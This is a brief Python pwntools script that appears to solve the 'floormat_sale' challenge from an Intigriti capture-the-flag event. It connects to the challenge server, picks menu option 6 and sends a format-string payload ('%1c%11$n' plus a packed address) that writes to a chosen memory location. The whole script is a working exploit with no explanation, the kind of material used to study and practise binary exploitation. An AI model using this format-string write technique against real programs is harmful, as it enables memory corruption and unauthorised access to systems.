#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./floormat_sale", checksec=False)
# r = process()
r = remote("floormatsale.ctf.intigriti.io", 1339)

# funcs
s = lambda a: r.sendlineafter(b":", a)

# buf
s(b"6")
s(b"%1c%11$n"+p64(0x40408c))

r.interactive()